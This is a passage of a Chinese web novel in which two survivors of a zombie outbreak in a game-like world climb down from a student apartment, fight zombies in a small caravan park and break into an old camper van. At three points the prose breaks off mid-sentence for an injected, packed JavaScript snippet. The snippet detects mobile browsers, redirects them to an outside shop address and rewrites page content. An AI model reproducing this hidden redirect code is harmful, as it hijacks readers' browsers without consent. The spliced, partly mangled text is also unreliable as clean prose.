约翰尼和拉图索很快收拾好了东西,因为三号走廊的楼梯通道门被各种家具堵死,不方便搬运,白睨便把他们送到二号走廊的楼梯门处。外面静悄悄的,正好没有丧尸。米哈伊尔罕见优雅地做了个“请”的手势,“友好”地送走了二人。 看着那两个身影小心翼翼、一步一步地消失在楼梯下方后,白睨和米哈伊尔熟练地布置了障碍。中途,白睨仔细地听了外面的动静,没有尖叫和嘶吼,看来出去的二人暂时没有引起丧尸的注意。 米哈伊尔一只手搭在沙发上,白睨见他若有所思,便问他在想什么。 “啧,总觉得放跑了两个隐患,心里不踏实。” 没想到他疑虑心还蛮重的嘛。白睨这样想着,道:“你怕他们回来寻麻烦?他们一人力气不足,一人行动不便,突破通道门要花费好些功夫,还会与我们杠上,大概不会冒这么大风险。” 他耸了耸肩,“这可不好说,你不要把末世里的人想得太单纯了。” “我可没有。”白睨无奈笑笑,指了指房间,“那为了避免他们回来找我们麻烦,麻烦你再搬张沙发来加固防御吧。”米哈伊尔扔给她一个白眼,转头哼哧哼哧去搬家具了。 趁这个空档,白睨拿出手机,点开女人的头像,快速浏览括号里的内容。 他们击倒了楼道里一个丧尸。楼梯上丧尸不多。 他们抵达了底层,但是被管理员丧尸发现了。管理员缺了一条腿,跑得不快。 他们在垃圾房中躲过一劫。封闭垃圾房很安全,但是气味很恐怖。 他们离开了公寓,前往南侧联排区。 文本持续更新中。外面的世界通过拉图索的眼睛,生动地显示在白睨眼前的屏幕上。 不远处的房间里传出皮革摩擦的声音。她摁熄屏幕,把手机揣回兜里。 7. 二楼平台 头顶浇下温水的冲掉了满身燥气,现在还能用上热水她挺知足的,保不准哪天突然就断电了。白睨的手在支架上五花八门的洗发露上徘徊,最终选了款没用过的煤焦油味洗发水。 十分钟后,白睨关闭花洒,一只手拿起浴巾擦拭发丝间滴落的水珠,一只手拿起手机,点进人物界面,拉图索的头像依然亮着。 两天前,拉图索和约翰尼在后街爬窗进入一间空置的房子,暂时安顿下来。 按文本来看,后街住宅区的丧尸数量并没有她想象的多,可能是因为这些联排房屋多是面向附近大学学生的租房,而丧尸危机爆发在银行假日前的周末,许多学生正外出旅游。而且房子附近的杂物和矮墙可以充当藏身的遮挡,反而比主干道安全一些。 但是在白睨的印象里,那些房子均采用木门,窗户朝向街道,仅有两层,并不牢固,如果被丧尸突破十分危险。 她倒是希望拉图索和约翰尼能跑得远些,这样自己就能摸清附近街区的情况,规划一条逃生路线。 穿上家居服,白睨走出浴室,看到米哈伊尔正俯身在窗前,全神贯注地往下望。“你在干什么?”她走上前,却见他用毛线吊着一块肉,楼下的平台上围满了丧尸。 米哈伊尔抬起头,白色发丝在阳光下泛着淡金光泽,他咧了咧嘴,“给丧尸下毒。” “……?” “我往肉里加了清新剂、洗手液、洗衣液、柔顺剂,啊,下一块我打算加点洗洁精,那个青苹果味的很好闻。” “……你这么做的意义是?” “说不定我就试出了丧尸毒药呢。” 白睨感到很荒唐。想什么呢,用洗洁精毒死丧尸?这是什么洗洁精厂家赞助的末日片吗? 果然,劳动是人类的本质,人如果长期处于悠闲无聊不劳作的状态,他的身心会产生变异。 “你为什么这幅表情?” 白睨维持着“我很担心你”的神情,缓慢摇了摇头。 “嘿,这不是完全没道理的吧?”米哈伊尔突然一抬手,抽回绳子让一个丧尸咬了个空。“丧尸这东西的存在本身有逻辑可言吗?无法转化能量的尸体为何还能继续移动而不是持续腐烂至白骨化?就算是被真菌寄生,大脑也不能在呼吸和血液系统停摆后控制身体这么长的时间。” 他一甩手腕,把肉块砸在一个丧尸头上,但肉很快被其他丧尸七手八脚抓下去啃食了。“这场危机本身就够荒谬的了,谁能保证解决办法就不荒谬?人类经历了那么多次流行病毒,最后却被这种完全超出常识的病毒毁灭,也是够讽刺的。” 停在原地,白睨微微一怔,没想到米哈伊尔会想到这层。从危机爆发到现在,她从没有真正考虑过丧尸原理的合理性。为什么?因为她知道这场危机只是一个文字游戏的开头,一个设定。 一个保健品公司旗下产品导致人类异变成丧尸,很合理吧——在末日作品里。 背后的原理往往会被一笔带过,经不起推敲。于她而言能否弄清楚原理甚至解决这场危机,都不重要,她只想要离开这个游戏,回到那个只用应付ddl、糊弄午晚餐、听网线另一头父母的唠叨的日子。 她只用像那些末日作品的角色一样,专注于活下来,等到某天线索出现,她就顺应着推动剧情,便能解决危机——或者说,给这场危机作个结局,就能离开这个世界了。 可万一并没有那个线索呢? 到现在她只是默认了自己想相信的。 如果这一切只是游戏无中生有的危机,那么改变情况的节点会在哪里呢? 恐慌像静电从脊椎一路炸开。 半晌后,捂着毛巾的手才在脑袋上磨了磨,她撇过头去。“认知之外还有未知,人类的探索总有局限。” “真恶心。”米哈伊尔把棉线一抛,任由丧尸去争夺那点残渣,他转过身来撇嘴笑了笑,眼中似乎闪过一丝落寞。“也没办法了,先管活下来的事吧。” 白睨从鼻腔里发出一声“嗯”,漫不经心地擦着头发。刚才发丝上的水珠一直在滴落,已经把肩头打湿一片。 忽然,米哈伊尔嗅了嗅,脑袋凑过来。距离一下子被缩短,那一瞬间她几乎能感觉到另一个肉/体发散的热量,像贴近肌肤的毛衣,激得她汗毛竖起,心脏一跳。她猛地缩起肩膀,没好气地瞪他,“干嘛啊?” “你换了新的洗发水?”米哈伊尔后退,抬起手指在鼻下搓了搓,“好臭,煤油的味道?” 白睨愣了一下,抬手闻了闻,“我感觉还好啊?” “这像那些破烂车的味道,在我鼻子里颠簸打转。”米哈伊尔像嫌弃般地后退一步,然后快速闪去房门外,嘟囔着,“早知道拿它喂丧尸试试了。” 有这么夸张吗? 白睨不敢置信地闻了头发,只觉得味道比较奇特,并无异常。难道那家伙很讨厌煤油的气味? 过了一会儿,米哈伊尔重新出现在房门外,手里却拿着一大瓶食用油和一瓶香薰火柴。 “……你应该不是要用那玩意儿给我洗头吧?”白睨盯着食用油,后撤一步。 米哈伊尔歪头,一副丈二和尚摸不着头脑的模样,“你在说什么?给丧尸洗头还差不多。” “哦……不是?” 只见男人走到床边,拧开瓶盖,直接往外咕嘟咕嘟地浇油。二楼平台上的丧尸群对食物香味全然不为所动,只是徒劳地朝空中挥舞手臂。接着,米哈伊尔拿出一根火柴,在瓶身上轻轻擦了一下;一缕明火噌地燃起,然后被抛至窗外,划出一道明亮的弧线。 很快,由第一个被点着的丧尸开始,火焰如蛇群蔓延,很快张牙舞爪的死尸都被吞噬在烈火之中,恶臭的焦味腾空而上。米哈伊尔甩了甩手里的油瓶,及时关上窗,“把楼下的丧尸清空一些,撤退的时候也方便。” 白睨无语了一会儿。 “还是别这么玩了,我怕它们垒成小山爬上来。” 米哈伊尔咧嘴,“我会记得不在浴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16742291|189694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 室里唱颂歌。” 翻了个白眼,白睨贴近窗户看着,在噼里啪啦声中,丧尸们化为一具具黑得五颜六色的焦尸。好在这个平台不朝街道,他们没有引起太大动静,平台上的丧尸数量也远不够叠叠乐。可这些丧尸是怎么进来的呢? 想了想,白睨忆起公寓聊天群中曾讨论过,有变态男在深夜去平台偷窥其他住户。这个平台其实是一部分一楼建筑的屋顶,但二楼设计考虑不周,面向平台的房间窗户均为大开落地式,这意味着只要有人从一个房间的窗户翻到平台上,就可以窥视其他住户甚至进入房间。想来,这些丧尸就是从一个被突破的房间进入平台的。 脑中灵光一闪,白睨刚打了个响指转过头来,就被那近在咫尺的侧脸吓了一跳,蹦开半米远。刚才想得太专注,没发现米哈伊尔学她把额头贴在窗上,一直斜着眼睛打量她。 米哈伊尔眨眨眼,“你又有什么主意?” 白睨也没废话,“公寓的大门和侧门都面向街道,一出去就很可能被丧尸发现。”她的手指沿着公寓的后墙绕了一圈,“从后门出去的话,那边都是高墙,爬上去有点困难——” 在对方出声前,她快速地补了一句,“对我来说。” 米哈伊尔耸耸肩。 她又指向西南方向的平台,平台一面贴着墙,“但如果从平台下去,会方便很多。” 米哈伊尔看着那堵墙,只要翻出去就能顺利进到后街房屋的背面,不失为良计。“倒是个好办法……但要怎么从四楼下去?” 白睨一笑,又打了个清脆的响指,“我有办法。先整理一下物资吧。” · 尽管上一次“侵吞”了拉图索等人的物资,但余量并不算很多。白睨一边清点一边做记录,冰箱里还有三袋全麦面包、两盒冷冻肉、半袋冷冻蔬菜粒;橱柜里,五盒零食饼干、两盒零食面包、四包巧克力、三盒午餐肉、一包鸡翅干、两包腊肠、半袋豆浆粉、一罐蛋白粉、两盒羽衣甘蓝粉,还有各种调味料和干货少许。地上放着一瓶果汁、一排儿童牛奶和两箱矿泉水。总共撑不了几天,也是时候离开学生公寓了。 此次先出去探个路找个代步工具。如果顺利,他们可以来回几趟,将尽可能多的物资转移到车里再走。 白睨走到走廊,打开四号房门。房间里堆满了工具箱、木板、锅碗瓢盆等耐用型杂物。她踢开挡路的小推车,打开衣柜,露出之前被他们塞在里面的情趣吊带装置———黑色哑光的悬挂背带、编制紧密的绳索和手掌大的滑轮装置。 她一把抓起背带,用力扯了扯,强韧微弹的尼龙混纺带完全没变形,不像是便宜货。 深吸一口气,将黑色背带摊开在臂弯,把主带交错绕身两圈,将金属扣拉至身侧,咔哒一声扣上,交错的系带瞬间贴合。她依次穿好肩带,调整松紧,直到整个背带紧紧束缚住上身。最后,白睨试着抬了抬手臂,竟感到一种开肩的通透。 这公寓真是藏龙卧虎,还有这种新奇玩意儿。 8. 下坠 “你真的不试试吗?” 白睨的手指上套着一黑色皮革项圈,转着圈晃啊晃,眼睛一瞥,就见男人一脸抗拒地撇着嘴,一只脚踩着沙发收拾自己的背包。 此番出行,他们选择了和上次同层扫荡差不多的装扮和武器,不同的是他们都戴上手套,换了更大的旅行包,背包里除了各自的武器还装了生活物资。 白睨的计划是这样的:先使用悬挂装置与床单,从五楼的窗户爬到二楼平台,再用同样的办法进入后街联排的背面,利用掩体找到能使用的车辆,米哈伊尔撬锁。如果情况允许,最好转移几次物资再出发;如果情况不妙,马上启动车辆或者往回跑。 和之前一样,白睨戴了一顶宽项圈。对她而言,只要是有用的道具就是好道具,而且大街上都没人类了,还在意那些表面功夫干嘛,难不成丧尸还能拍张照给她挂到IG上去? 相比之下,米哈伊尔还是太保守了。 “我会在丧尸把嘴凑近我脖子前跑开。”他的鼻子哼出气音,一把拉上拉链,看起来对这东西十分抗拒。 耸耸肩,白睨把项圈搁在吧台上,喊他去抬床垫。 攀爬的地点选在另一个房间,那个房间窗下没有焦尸。 昨天,白睨提到想把多余的床垫扔下去,这样落地时能有个缓冲。但是E国的住宅多采用下悬窗,这栋学生公寓也不例外,只能推开一点,床垫挤不出去。白睨在比划几下后便打算放弃,但米哈伊尔说他有办法解决,随后拿来工具箱开始拆螺丝。 在他捣鼓的时候,白睨从其他房间找来几张床单,在关键处打结,又用针线加固,制成一条长长的粗绳。她将一头系着绳索和背带,另一头绑在吧台的桌脚上,保险起见还绑了好几个逃生结。也因为工程量巨大,白睨累得满头大汗,没仔细查看米哈伊尔的成果便回房洗澡了。 等米哈伊尔顺滑地往上推开窗户,她才看到那原本像扇贝一样小气、只能打开一点的窗户,现在像劈了叉似的,以一种夸张的角度大开着。她还是第一次在房间里感受到从外灌进来的夏风。 窗台上还装好了滑轮装置。 “太棒了!”她赞赏地直拍男人的肩膀,厚实的肌肉发出沉闷声响。米哈伊尔一撩头发,骄傲又装作满不在乎的样子,“也不是很难……” 话还没说完,一角乳胶床垫就撞进他怀里,话语戛然而止。白睨抬着床垫递给他,眼神炯炯,催促道,“试试看,能不能扔出去。” “……” 米哈伊尔哼哧哼哧地把那方床垫团吧团吧,丢出去了。外面传来重物蓬松而沉闷的坠地声。 此时平台上没有游荡的丧尸,但保不定等他们下去的时候会有丧尸从二楼房间里冒出来。 “我先吧。”米哈伊尔接过床单绳,但没有穿上背心,那点布料大概只能当他的小马甲,“我先下去,确认情况安全后你再下来。” 白睨点点头,但心里依然有些紧张。就算米哈伊尔是游戏系统钦定的男主角,可见万一刚落地就有一群丧尸冲出来呢?末日片可不管HE还是BE的,男女主双双下线的也不少。 ……还是别诅咒自己了。 在她乱想的空隙,米哈伊尔再次确认绳结都牢固,随即把床单绳从窗户抛出,踩上垫脚的沙发,侧脸看向她,“放心吧,白,我很快就到了。” 语毕,他一手撑住窗台,修长的腿在空中侧划出一条弧线,白睨还没反应过来,就听见不轻不重“咚”的一声,窗边的人没了踪影。她连忙追去,往下一看,好在米哈伊尔双脚踩在外墙上,手里紧紧攥着床单绳,看神情游刃有余。他冲白睨眨了眨眼,示意没有问题,接着继续向下。 体型一点没有妨碍他灵活的身手,男人屈膝抵墙,双手左右开弓捋着床单,与此同时双脚踩着外墙下降,如履平地。仅用几秒他已靠近床垫,于是轻轻一跳,成功落在床垫上。 白睨心中的石头也落在地上。 然而,米哈伊尔没有抬起头,几乎是落地那一刻就朝二楼房间扑去。 . 空气中有股烧焦的臭味,大概是从那堆焦尸身上飘来的。它们被烧得和煤炭似的,肯定已经不能动了。 米哈伊尔移开目光,聚焦在越来越近的床垫上。 ——不赖,没丢脸。上一次做攀爬和下降训练已经不知道是多久以前了,好在肌肉记忆没背叛他。 五米,三米,一米,跳—— 脚掌刚接触到床垫他就感到不妙了,这乳胶床垫软得一塌糊涂,一脚下去直接凹处一个坑! 他赶紧做了个跳水前的大摆臂,这才堪堪稳住身形,没摔个狗吃屎! 他转过身来,正准备抬头示意白睨把绳子抽回去,却看见与他仅几步之遥的半开的大窗里,映出一个扭曲的身影。 那是一个头呈六十度叠在残缺肩膀上、一颗黏糊糊的腐烂眼珠挂在眼眶外的丧尸。 “嘎——” 爆发出一声沙哑而亢奋的嘶鸣,丧尸弓着背猛扑过来,半个身子直接撞出窗户,朝他爬去! 毫不犹豫,米哈伊尔一个箭步冲过去,猛踩在丧尸头上,“嘎嘣!”一声颈骨碎裂的脆响,丧尸的头颅以更加诡异的一百八十度卡在后背上,嘶吼声戛然而止。紧接着他收腿蓄力,卯足劲飞出一脚,直接将丧尸踹飞回房间,烂肉簌簌掉了一地,彻底没了动静。 米哈伊尔迅速从外将窗户关闭,还没停下,沿着墙将这边一列的落地窗都关上。运气还算不错,其他面向平台的房间里都没有丧尸,通向内部的铁门也紧锁着。 他这才长出一口气,朝上方挥挥手。 . 楼上,白睨看着手机上剧情文本最新更新的记录,也跟着长长松了一口气。 还好只有一只。刚才听见那一声嘶吼,她的心脏都要从嗓子里跳出来了。看见米哈伊尔还生机勃勃地朝楼上挥手,她定了定神,回以一个有气无力的微笑,把床单绳收回房间。 给上半身严严实实绑好背带,背上沉重的背包,站到窗前的时候,她的手不自觉地互相摩擦着。不知是面对高空的恐惧,还是刚才被吓的后劲还没过,白睨感觉手掌有些发软,薄汗从掌心深处沾湿了手套。 可现在打退堂鼓也来不及了,而且刚才看米哈伊尔爬得那么轻松,自己这段时间也一直在锻炼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16742292|189694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,说不定也不是那么难呢,对吧? 对吧? 才怪。 不知是否她的错觉,她第一次感觉这学生公寓的层高特别高,仅仅隔着两层楼,下面的米哈伊尔却显得那么渺小,身影模糊不清。 哦,是她眼睛进汗了。 白睨坐在窗台上,默默收回视线,伸手擦了擦眼角,然后抓住床单紧紧攥住,做了好几次深呼吸,才慢慢爬出窗外。 先感受到的是风,然后是地心引力。大部分绳子都连在背带上,导致她能明显感觉到往下的拉扯感。 摔下去就完蛋了。 她抓着床单的手因用力而发白,青筋清晰可见。 尽管脑子乱作一团,但她还是遵循尚存的零星印象,学着米哈伊尔的动作,一边踩墙一边努力往下爬。 也不知道如果真摔死了能不能看广告复活。 突然,白睨一脚没踩稳,脚尖滑过墙面,顿时整个人在三楼外悬空。床单在她上方扭成麻绳,带着她的身体左晃右摆,她整个人像被抛出的一只风筝。那一瞬间她脑子里一片空白,连叫都叫不出来,只能死死咬住牙关,抓紧绳子,不让手松开。同时尝试伸长腿脚,终于又够到了墙壁。 极度的恐惧反而让她爆发了一股类似自暴自弃的冲劲。白睨不再往下张望了,集中视线在床单上。像与自己拔河般,左手吃紧了拽住,右手小心地送一段,右手拽住,左手送一段,如此循环往复,形成节奏,缓慢而匀速下爬。一切仿佛被按了慢速键,进度很慢,呼吸很慢,手掌慢慢地充血肿起,疼痛从受力的每一寸皮肤蔓延。 直到一句“加油,快到了”从意识之外、由远而近地传入耳中,她才意识到自己终于快落地了。扭头往下看,白花花的床垫确实近在咫尺,米哈伊尔那白得发光的头发被风吹成了鸟巢,他张开手臂,神情看起来也十分紧张。 白睨突然就不紧张了,反而生出几分好笑,便一鼓作气,手拽着绳子用力往上送了几段,在快落地的时候才完全松开手。 同样地,她没预料到这床垫这么软。 刚感受到危险的下陷,后背便撞上一片厚实的温热,肩膀被一双有力的手握住。 发觉到自己几乎被身后的人半环在怀中,她慌乱间踉跄一步。米哈伊尔又下意识收拢手臂,这下不是“几乎”了。 空气一滞。 她一偏头,便与一双灰霭眼眸四目相对。 “……” 努力撑了撑小腿,白睨勉强站直身子。 米哈伊尔猛地松开手半举空中,眼神一下飞了出去,声音陡然抬高,“这床垫很软!我也差点摔倒,哈哈——” 白睨连忙捂住他的嘴。 平台重归寂静。 “知道了,”她这才放下手,“等我把东西收好就下去。” 只见她神色如常,蹲下拆卸绳索和背带,又站起身一摇臂,把背包晃到肩上,顾自往前走去。米哈伊尔只能挠挠头发,轻咳一声跟上。 白睨走在最前面,一片疙疙瘩瘩的燥热从颈后一路爬到脸侧。 该死的游戏。 该死的的男女主设定。 9. 后街公园 在危机出现以前,白睨很少留意后街背面的情况,只依稀记得这些联排似乎带后院。 实际上这些空地根本不能称之为后院,更像是拥挤街区中被遗落的一大片不规则荒地,被破旧的矮墙和栅栏分割出每户的区域,长了许多灰绿灰绿的杂草。荒地的左边是联排,右边靠着另一条街道,零零散散停着几辆车子 从平台进入后街背面就容易许多了。白睨把绳索一端缠绕在边缘的栏杆上,栏杆虽有生锈的痕迹,但是足够粗壮牢固。经过刚才一遭,区区一层的高度对白睨来说已不足为惧。 刚落地,她就看见米哈伊尔冲她比了个噤声的手势。顺着他的目光往左边看去,离他们十几米远的后街道路上,一只丧尸拖着残缺的腿缓慢移动,微微仰头,仿佛在嗅空气中的气味。 白睨默默地抿紧嘴巴,垫着脚尖挪到房子后面。 他们从包里拿出各自的武器,在草丛里小心翼翼地猫着腰,蹑手蹑脚远离建筑,尽量避开特别高的杂草,生怕窸窸窣窣的声响会引起丧尸的注意。等到能看清右方的车辆了,便不再继续靠近,沿着街道的方向往前走着,试图找到一辆米哈伊尔能下手的车子。 荒地很安静,除了他们就只有风吹草动的沙沙声。几辆黑的白的蓝的SUV歪七扭八地停在路边,状态良好,看起来是临时被遗弃的。但是米哈伊尔只是草草扫了一眼,就继续低着头潜行,没有去查看的意思。虽然疑惑,但白睨只能跟上。 等跨过第二道栅栏时,她终于忍不住低声问,“这些车子不行吗?” 米哈伊尔摇头,“不行,都是智能锁。” ……她居然忘了这茬。 若要撬锁,他们只能选择机械锁,不然万一开锁的时候警报叫起来,可要上演大型鬼抓人了。除此之外,他们最好找一辆油车,毕竟逃跑路上不一定有充电桩。 简单来说,他们需要一辆老款车。 绝望,怪不得这些年好看的丧尸片越来越少了,真是科技改变生活。 见她一脸沮丧,米哈伊尔安慰了两句,“没什么大不了,总能找到一辆机械锁的。” 前方有一辆倾倒的大货车,旁边几辆小轿车完全翻倒,车身七零八落,惨不忍睹。两只瘦骨嶙峋的丧尸背对着他们,围跪在一辆车旁,正掏着什么往嘴里塞。 他们悄悄远离了道路,尽量把身子压低,继续缓慢往前移去。 “我们已经走了一半,”白睨握紧手里的棒球棍,估计着终点的距离,一旦离开荒地,他们将不可避免暴露在街道上。她不得不提前思考该往哪个方向跑,“等到了十字路口……” 忽然,以前散步时瞥见的一个景象闯入脑海。她一把抓住米哈伊尔的背包: “尽头有一个公园,里面有几辆房车。” 米哈伊尔猛地扭过头来,脸上也浮现一丝欣喜的表情,“你是指房车公园吗?” “不,就是一个普通的小公园,我也不太清楚那是什么情况,但我印象中那里有很多轮胎,还停着几辆房车。”说到这里,她犹豫起来,“但我不确定那些车子还能不能发动。” 或许那些房车是主人的常驻居所,早已失去驾驶功能也说不定。但是米哈伊尔看起来跃跃欲试,用平底锅挡开杂草,加快了脚步,“去瞧瞧再说。我运气一向很好。” 白睨握紧棒球棍,同他加速前进。 又赶了一会儿路,远远地瞧见了那个公园,被暗绿色的围栏网圈着。随着他们越来越近,几辆房车隔着围栏映入眼帘。不过令白睨小作失望的是,那几辆是Caravan,俗称拖挂式房车,主要提供一个生活空间,需要汽车牵引,并不具备驾驶功能。 不过既然是拖挂在汽车后面的,公园里肯定也有其他车辆,说不定他们能找到一辆老式车。 终于,他们停在围栏外面,米哈伊尔眼尖地发现一个巨大豁口,像是从里边被什么物体撞破的。他们对视一眼,握住各自的武器,悄无声息地潜入。白睨看到米哈伊尔夸张地皱起了眉头,一只手捂住口鼻。 这里的气味比起公寓可丰富多了,尸臭混合着食物腐烂和排泄物的味道,尤其难闻。他们绕开堆在角落的轮胎和蓄着黑水的洗手池,往离得最近的房车靠近。这辆拖挂式房车侧窗上布满蛛网状的裂痕,黏挂着黑色的液体,白睨心想这肯定不是石油。正当他们靠着车厢,猫着腰,试图潜到另一辆车箱旁时—— “嘎……嘎……” 一声粗砺的气音,伴随着鞋子在土地上摩擦的声音,止住了他们的脚步。 米哈伊尔抬手制止住白睨,后退一步,透过破碎的车窗往对面投去一眼。两只皮肤青灰的丧尸正在另一辆房车旁摇晃,其中一个穿着背心,身材高大,半边下巴腐烂,露出一排污黑的牙齿;另一个看起来年纪很轻,右脚完全扭断,沾满泥巴的球鞋在地上拖拽着。 身后被车厢挡着,没有其他去路。白睨把棒球棒举在身前,做出准备攻击的动作。但米哈伊尔又朝她摇了摇头,把背包晃到身前,一只手轻轻打开前侧口袋,只听极细微的咔哒一声金属碰撞,两把小刀卡在他的指缝中抽出,映出他带点痞气的笑眼。 他的动作并不大,在白睨的眼中甚至只是一甩手臂,掌指连影,就见两片寒光直直飞去,“咚”“咚”,便已精准地插在丧尸脑袋上。 嘴慢慢张大,白睨缓缓转移视线,与一脸得意的米哈伊尔对上,又落在倒地丧尸脑袋上那两个裸露的刀把。她的眼睛逐渐发亮—— 教练,我想学这个! 这不就是她梦寐以求的杀招吗!不用离得太近,也不需要超高的绝对力量,用一瞬的爆发力就能秒杀敌人!她的爆发力和瞄准都还不错,说不定学飞刀有天赋呢? 压制住好奇心,白睨打算等回去后再讨教飞刀,目前还是专注于躲开丧尸,找到一辆能用的车辆更重要。 或许以后就能过上窝在车里时不时对路过的丧尸放冷箭的日子了。 白睨摩拳擦掌。 昂首挺胸,米哈伊尔等了半天,却发现对方的注意力已经完全在自己的飞刀上了。无语,只能转回身去。 他半蹲着灵活走位到对面,一转绕进两车的夹缝里。白睨正想跟过去,“哐当”,从米哈伊尔后方传来物体撞击的声响。二人屏住呼吸。 却没有其他动静。 米哈伊尔示意她待在原地,自己慢慢挪过去。 白睨提心吊胆着,从她的视角看不清那边发生了什么。大概等了一分钟,也没见米哈伊尔出来,便想稍微挪出去一点,打量周围的情况。 但她刚挪出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16742293|189694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一步,就看到车头附近投下一道淡淡的阴影。 某个东西,与她只隔了一个拐角,不知何时出现在了那里。 世界安静了,白睨几乎能听见鲜血在耳廓里流动的声音, 极缓极缓地,她收回了脚,往后退去半步。而此时,地上的阴影也延长了几寸。 没有时间多想,白睨直起身贴着车快速跳去车尾。就在她转进去的那一刻,丧尸的身影就出现在了车头。 眼角画面一闪而过,那是一个身材高瘦的女人,一根棍状物卡在喉管,破碎的背心上满是血迹。 白睨心里盼望着她赶紧过去。 空气安静了几秒,僵硬的脚步声响起,像摩挲纸的声音一样轻薄。 这声音,却离她越来越近了。 . 喉咙里的异物迫使它微微仰头,空气从窟窿的缝隙中流过,擦过声带,没有发出一点声音。 它朝着刚才发出轻微声响的地方慢慢晃去,时不时停下嗅一嗅空气。 有一丝很淡的,新鲜的味道。 黑色的粘液像口水一样顺着它的下巴滴落,它的步伐踉跄起来,一头扎向车尾。 却是一片空地。 像不可置信一般,丧尸扭了扭脖子,僵硬地往前走了几步,又在空气中闻嗅起来。 很淡的,新鲜的。 它的肩膀撞到了车尾,身子一侧,顺势往前踏出一步,一晃来到车子的另一边。 地上躺着一个东西。 一个咖啡色双肩包。 像是发现了宝藏一般,丧尸摇摇晃晃来到双肩包旁,龇牙咧嘴咬了两口空气,然后慢慢跪倒在地,伸出折断的枯槁的手拨弄两下。 然而此时,一个身影静悄悄地从车尾底下爬出来,垫着脚尖,绕到丧尸身后。 车底的粉尘落在了她的眼睛里,视线上下也因睫毛上的土灰而蒙上两道阴影,但白睨没有发觉。她憋着一口气,眼睛因紧张而放大,将棒球棍举到肩上,在丧尸扭过脸来的那一刻,手臂自动发力,风卷过耳侧。 “碰!” 这一声比飞刀响多了。 丧尸直挺挺倒了下去。 “碰!” 补刀。 看着从丧尸头骨中汩汩流出的黑液,白睨颤抖着喘了两口气,就快速绕到前方,一手支着棒球棍,另一只手抓住包带一把拽走,直起身往前走。 对面,米哈伊尔也蹲在车边,见她出现明显松了一口气。 她经过那两具尸/体,他们都穿着和女人同款的运动背心,鲜艳的图案浸透了血液又风干,变得斑驳不清。白睨忽然记起以前经过这里时,有一家子正好在露天烧烤,妈妈在洗手池洗菜,爸爸和孩子在串肉,可能就是他们。当然也有可能不是,是另一户人家。 她没有停留,快步来到米哈伊尔旁边,见对方身上没有伤痕,才凑到身边压低声音道,“你去哪儿了?” 米哈伊尔用大拇指指了指身后,“那边车里有个丧尸。不过已经被我解决了。” 紧接着他补了一句,声音中带着兴奋,“你猜那家伙的车是什么样的?” 白睨眨了眨眼,很快会意,“机械锁,油车?” 米哈伊尔打了一声明显失败的闷声响指,“答对了。” 10. 找到房车 白睨举着棒球棍在旁警戒,米哈伊尔用小刀在机械锁里左戳右捅,在“咔哒”一声后,车门一拉,这辆床车向他们敞开了怀抱。 这是辆老款的商务座MPV,车身亮黑,内部经过精心改装,空间合适,布局合理,连米哈伊尔这样的大块头进去也不会显得过分拥挤。车子头部为驾驶座与副驾驶座,由于三座的空间只安装了两座,显得十分宽敞;中后左侧为一张加高床,改装的床虽然不够作双人床,但一人睡绰绰有余;床底下放置着带滑轨的收纳箱,右侧是车载冰箱、电箱与小桌;车顶上加装了支架平台,上面放着一辆山地自行车。 白睨坐在驾驶座,兴奋地左摸右摸。虽然款式和装修风格有些老旧,但方向盘保养完好,操纵杆丝滑流畅,中控面板抹去灰尘便干净到反光,座椅填充松软结实很舒服,她感觉方圆十米都很难找到比这辆更好的车了,甚至想当场一踩油门把车子开走。 米哈伊尔坐在副驾驶上,伸展手脚,“你有驾驶证吗?” 她哼笑,“当然有啊,我高中一毕业就去学了车的。” “是右舵的吗?” “……” 白睨动作一停,尴尬地抿了抿嘴。 “我可以学啊,等到了城郊,路上都没有其他车辆了,这不正好用来学车?”理不直气也壮。 “也是,毕竟末日不管你压不压线,压丧尸也没有问题。”米哈伊尔打开副驾驶的抽屉,里面塞了很多文件和纸张,他随意拿出一个小本,“哈,我们有驾驶证了。” 对他的抽风小幽默,白睨只是无语。爬到后面的床铺上,一眼看到桌上有一个卡式炉,一拧阀门,幽蓝色的火焰“啪”一声炸开,竟然还能使用,“居然还有厨房区,以后能吃上热饭了。” “哈,我还以为我们在旅游呢。” 这句话一下子点醒了白睨,马上俯身打开冰箱和桌柜,结果并没有让她失望! 得益于营地电源,房车里的冰箱依然在运作,虽然一盒小番茄已经腐烂,但是冻三色豆和冻鸡胸肉还好好保存着,甚至还有一小圆盒冰淇淋;桌柜里面除了生活用品,还储存着不少长保质期食物,意大利面、早餐麦圈、咖啡粉、炖牛肉罐头、午餐肉罐头、猪肘肉罐头、辣鲭鱼罐头、茄汁焗豆罐头、玉米罐头…… 怎么这么多罐头?原主人是罐头爱好者吗? 